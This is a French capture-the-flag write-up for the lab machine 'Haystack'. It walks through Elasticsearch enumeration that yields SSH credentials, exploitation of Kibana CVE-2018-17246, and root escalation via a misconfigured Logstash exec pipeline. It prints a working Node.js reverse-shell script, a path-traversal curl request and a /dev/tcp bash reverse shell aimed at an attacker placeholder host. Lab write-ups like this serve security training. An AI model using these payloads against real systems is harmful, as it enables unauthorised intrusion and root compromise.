[NO ENGLISH VERSION - Only French is available for this post]
Haystack est une machine Linux catégorisée comme facile et plutôt intéressante, faisant intervenir ELK. L’énumération des endpoints web et des indices permet de récupérer un accès SSH utilisateur tandis que l’exploitation de la CVE-2018-17246 sur le composant Kibana permet de récupérer un accès plus intéressant. Enfin, l’exploitation d’un Logstash mal configuré permet d’élever ses privilèges.
Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.
Découverte
Un rapide scan de ports permet de découvrir les services présents sur la machine.
$ nmap -v -sV -sC -O -p 22,80,9200 -oA scan_nmap 10.10.10.115
Nmap scan report for 10.10.10.115
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
| 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp open http nginx 1.12.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open http nginx 1.12.2
|_http-favicon: Unknown favicon MD5: 6177BFB75B498E0BB356223ED76FFE43
| http-methods:
| Supported Methods: HEAD DELETE GET OPTIONS
|_ Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.051 days (since Sat Aug 24 22:31:58 2019)
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Le port 80 est ouvert et propose une image à l’utilisateur. Quelques recherches sur le fichiers sont effectuées et une base64 est trouvée dans les commentaires de l’image.
$ strings needle.jpg
*Oo!;.o|?>
.n2FrZ
rrNMz
#=pMr
BN2I
,'*'
I$f2/<-iy
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==
$ echo -n "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d
la aguja en el pajar es "clave"%
Ce qui signifie L'aiguille dans la botte de foin est "la clé".
Le port 9200 est également ouvert. Il s’agit de l’API utilisée par ELK.
name "iQEYHgS"
cluster_name "elasticsearch"
cluster_uuid "pjrX7V_gSFmJY-DxP4tCQg"
version
number "6.4.2"
build_flavor "default"
build_type "rpm"
build_hash "04711c2"
build_date "2018-09-26T13:34:09.098244Z"
build_snapshot false
lucene_version "7.4.0"
minimum_wire_compatibility_version "5.6.0"
minimum_index_compatibility_version "5.0.0"
tagline "You Know, for Search"
Accès SSH - Shell utilisateur
Après quelques lectures sur le fonctionnement de ELK et la présentation des données, on peut effectuer quelques recherches directement via le navigateur afin d’énumérer ce qui est présent.
On commence par énumérer les différents indices (grossièrement, équivalent à des BDD).
http://10.10.10.115:9200/_cat/indices
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
Il est également possible de les récupérer en affichant l’ensemble des éléments, ainsi que des statistiques sur chacun d’entre eux.
http://10.10.10.115:9200/_all
http://10.10.10.115:9200/_stats
On apprend également qu’il est possible d’effectuer des recherches via le endpoint /quotes/_search?q=x
. Ainsi, après quelques tentatives infructueuses, on trouve un enregistrement en utilisant le mot clé “clave” récupéré auparavant.
http://10.10.10.115:9200/quotes/_search?q=clave
took 6
timed_out false
_shards
total 5
successful 5
skipped 0
failed 0
hits
total 2
max_score 5.9335938
hits
0
_index "quotes"
_type "quote"
_id "45"
_score 5.9335938
_source
quote "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
1
_index "quotes"
_type "quote"
_id "111"
_score 5.3459888
_source
quote "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="
La traduction des deux phrases en espagnol donne :
"Je dois sauvegarder la clé pour la machine : dXNlcjogc2VjdXJpdHkg"
"Cette clé ne peut pas être perdue, gardez-la ici : cGFzczogc3BhbmlzaC5pcy5rZXk="
Les deux chaines sont en réalités des base64 qui une fois décodées…
$ echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d
user: security %
$ echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d
pass: spanish.is.key%
… Donnent un accès à la machine, et par extension le premier flag.
$ ssh security@10.10.10.115
security@10.10.10.115's password:
Last login: Tue Sep 24 08:51:21 2019 from 10.10.12.127
[security@haystack ~]$ whoami
security
CVE-2018-17246 - RCE avec Kibana
Vient maintenant une phase de recherche et d’énumération d’informations sur la machine, avec pour objectif principal compromettre le compte root.
Après quelques recherches, on se tourne vers d’éventuelles vulnérabilités liées à ELK et notamment à la CVE-2018-17246 qui pourrait permettre une exécution de commandes. Le dépôt Github suivant permet de comprendre son fonctionnement ainsi que son exploitation : https://github.com/mpgn/CVE-2018-17246
Ayant un premier accès à la machine, on crée un fichier JS dans le répertoire /tmp/shell.js
.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(<LPORT>, "<ATTACKER IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
On lance un listener sur notre machine d’attaque, sur le port souhaité : nc -lvvp 6543
Puis on lance l’exploit en local sur la machine.
$ curl "http://127.0.0.1:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js"
$ nc -lvvp 6543
listening on [any] 6543 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.13.211] from (UNKNOWN) [10.10.10.115] 45818
whoami
kibana
python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.2$
Escalade de Privilèges
Dernière ligne droite, la compromission. On dispose maintenant d’un utilisateur “limité” mais néanmoins utile car ayant accès à des fichiers de configuration.
On peut notamment voir dans le fichier de startup que logstash est lancé avec des droits root.
$ cat /etc/logstash/startup.options
# user and group id to be invoked as
#LS_USER=logstash
#LS_GROUP=logstash
LS_USER=root
LS_GROUP=root
On trouve également des informations très intéressantes dans le répertoire /etc/logstash/conf.d
. Des fichiers appartenant à root… Mais accessibles en lecture au groupe kibana.
$ ls -la
drwxrwxr-x. 2 root kibana 62 jun 24 08:12 .
drwxr-xr-x. 3 root root 183 jun 18 22:15 ..
-rw-r-----. 1 root kibana 131 jun 20 10:59 filter.conf
-rw-r-----. 1 root kibana 186 jun 24 08:12 input.conf
-rw-r-----. 1 root kibana 109 jun 24 08:12 output.conf
bash-4.2$ cat filter.conf
cat filter.conf
filter {
if [type] == "execute" {
grok {
match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
}
}
}
bash-4.2$ cat input.conf
cat input.conf
input {
file {
path => "/opt/kibana/logstash_*"
start_position => "beginning"
sincedb_path => "/dev/null"
stat_interval => "10 second"
type => "execute"
mode => "read"
}
}
bash-4.2$ cat output.conf
cat output.conf
output {
if [type] == "execute" {
stdout { codec => json }
exec {
command => "%{comando} &"
}
}
}
Ok… On se pose quelques minutes (ou dizaines de minutes..) et on analyse tout ça. Avec un peu de recherche, on arrive à comprendre ce qu’il se passe, à savoir :
- Toutes les 10 sec, le service va lire les fichiers de
/opt/kibana/
dont le nom commence parlogstash_
- Un pattern “grok” est utilisé afin de rechercher une chaine précise
- Si la chaine “Ejecutar\scomando\s:\s+%{GREEDYDATA:comando}” est contenue dans la ligne de log, alors le fichier
output.conf
lance l’exécution de la commande associée…
Étant donné que le service est lancé en root, les commandes exécutées le seront également. Ok, il reste à construire notre payload. Il est possible de PoC le fonctionnement de l’exploit avec des commandes classiques mais ici je mets directement en place mon reverse shell.
De la même façon, on met en place notre listener.
$ nc -lvvp 6688
listening on [any] 6688 ...
Puis on crée un fichier /opt/kibana/logstash_pwn
qui contient la chaine correspondant au pattern, permettant d’exécuter notre commande. Il est également possible de tester en ligne différents pattern jusqu’à trouver une chaine correspondante : https://grokconstructor.appspot.com/do/match#result
$ cat /opt/kibana/logstash_pwn
Ejecutar comando : /bin/bash -i >& /dev/tcp/<ATTACKER-IP>/6688 0>&1
Quelques secondes d’attente et…
$ nc -lvvp 6688
listening on [any] 6688 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.13.211] from (UNKNOWN) [10.10.10.115] 47512
bash: no hay control de trabajos en este shell
[root@haystack /]#
w00ted!